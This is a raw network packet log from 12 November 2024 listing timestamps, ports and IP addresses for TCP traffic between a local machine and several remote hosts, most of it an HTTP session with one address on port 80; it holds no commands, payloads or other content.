Nov 12, 2024 08:30:37.117110014 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.117144108 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.117269039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117372990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117383003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117430925 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.117430925 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.117465973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117480040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117530107 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.117588043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117598057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117624044 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.117677927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117755890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117767096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117785931 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.117813110 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.117813110 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.117861986 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.118076086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118134975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118146896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118185997 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.118206978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.118264914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118277073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118285894 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118314981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.118469000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.118472099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118526936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118536949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118593931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.118604898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118618965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118673086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.118731976 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.119261980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.119319916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.119330883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.119333982 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.119405031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.119415045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.119426012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.119455099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.119455099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.119966030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120043039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120053053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120124102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120145082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120155096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120166063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120178938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120188951 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120217085 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120240927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120291948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120347023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120358944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120368958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120381117 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120408058 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120502949 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120551109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120562077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120573044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120584965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120599031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120610952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120610952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120628119 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120676994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120733976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120744944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120754004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120798111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120798111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.120904922 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.120994091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.121005058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.121041059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.121056080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.124311924 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.134382010 CET	49870	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:37.139389038 CET	443	49871	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:37.164019108 CET	443	49871	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:37.164078951 CET	49871	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:37.164721012 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.166413069 CET	49871	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:37.166429996 CET	443	49871	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:37.200906992 CET	443	49880	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.200910091 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.201208115 CET	49880	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.201220989 CET	443	49880	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.201415062 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.201438904 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.201754093 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.202205896 CET	443	49880	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.202270031 CET	49880	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.202788115 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.202847958 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.202883959 CET	49880	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.202939034 CET	443	49880	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.203088999 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.203238964 CET	49880	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.203247070 CET	443	49880	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.206959963 CET	443	49883	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.207077026 CET	443	49878	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.207150936 CET	49883	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.207180023 CET	443	49883	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.207376957 CET	49878	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.207401991 CET	443	49878	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.208177090 CET	443	49883	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.208226919 CET	49883	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.208386898 CET	443	49878	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.208436012 CET	49878	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.208547115 CET	49883	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.208602905 CET	443	49883	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.208868980 CET	49878	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.208926916 CET	443	49878	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.209016085 CET	49883	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.209023952 CET	443	49883	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.209110022 CET	49878	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.209120035 CET	443	49878	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.227240086 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.227597952 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.227611065 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.227963924 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.228595018 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.228604078 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.228605986 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.228658915 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.229032993 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.229084015 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.229167938 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.229629993 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.229681015 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.229933023 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.229995012 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.230025053 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.232779026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.232871056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.232881069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.232928991 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.233057022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233135939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233146906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233208895 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.233211994 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233263016 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.233299971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233310938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233320951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233334064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233386993 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.233517885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233575106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.233588934 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233598948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233654976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233664036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.233665943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233675957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233704090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.233779907 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.233933926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233944893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233954906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233964920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.233975887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234020948 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.234020948 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.234123945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234133959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234143019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234170914 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.234183073 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.234307051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234347105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234357119 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234376907 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.234433889 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.234476089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234487057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234600067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234602928 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.234611988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234638929 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.234671116 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.234730005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234778881 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.234792948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234803915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234812975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.234846115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.234869957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.235213041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235240936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235251904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235258102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.235296011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.235296011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.235438108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235447884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235460043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235471964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235481977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235496044 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.235517025 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.235517025 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.235665083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235727072 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235732079 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.235739946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235842943 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.235846996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235857964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235867023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.235903978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.236285925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.236346960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.236347914 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.236358881 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.236388922 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.236522913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.236623049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.236632109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.236644030 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.236732960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237036943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237070084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237082005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237106085 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237148046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237174988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237185955 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237236977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237302065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237313032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237322092 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237334967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237338066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237341881 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237385988 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237426043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237574100 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237585068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237593889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237606049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237621069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237643957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237643957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237674952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237759113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237795115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237840891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237849951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237860918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237873077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.237899065 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.237968922 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.238010883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.238079071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.238089085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.238112926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.238130093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.238145113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.238430977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.243324995 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.259442091 CET	49883	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.274657965 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.274677038 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.275320053 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.308650017 CET	443	49877	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.309150934 CET	49877	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.309175014 CET	443	49877	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.309743881 CET	49877	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.309750080 CET	443	49877	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.311537027 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.311789036 CET	443	49873	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:37.313072920 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.313103914 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.313472986 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.313478947 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.321063995 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.329384089 CET	443	49880	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.329427958 CET	49880	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.329438925 CET	443	49880	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.329451084 CET	443	49880	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.329504013 CET	49880	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.330363989 CET	49880	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.330384970 CET	443	49880	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.333774090 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.333798885 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.333854914 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.334006071 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.334018946 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.336500883 CET	443	49883	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.336558104 CET	443	49883	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.336599112 CET	49883	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.338020086 CET	443	49878	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.338074923 CET	443	49878	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.338095903 CET	49878	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.338114977 CET	49878	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.340671062 CET	49883	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.340686083 CET	443	49883	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.344425917 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.344460964 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.344532967 CET	49878	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.344541073 CET	443	49878	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.344563007 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.344717026 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.345104933 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.345117092 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.345664978 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.345685959 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.346148968 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.346154928 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.347378016 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.347388029 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.347517967 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.347666025 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.347678900 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.349809885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.349849939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.349859953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.349891901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.349908113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.349972010 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350054026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350099087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350110054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350132942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350147009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350178957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350186110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350195885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350220919 CET	80	49809	185.215.113.206	192.168.2.5
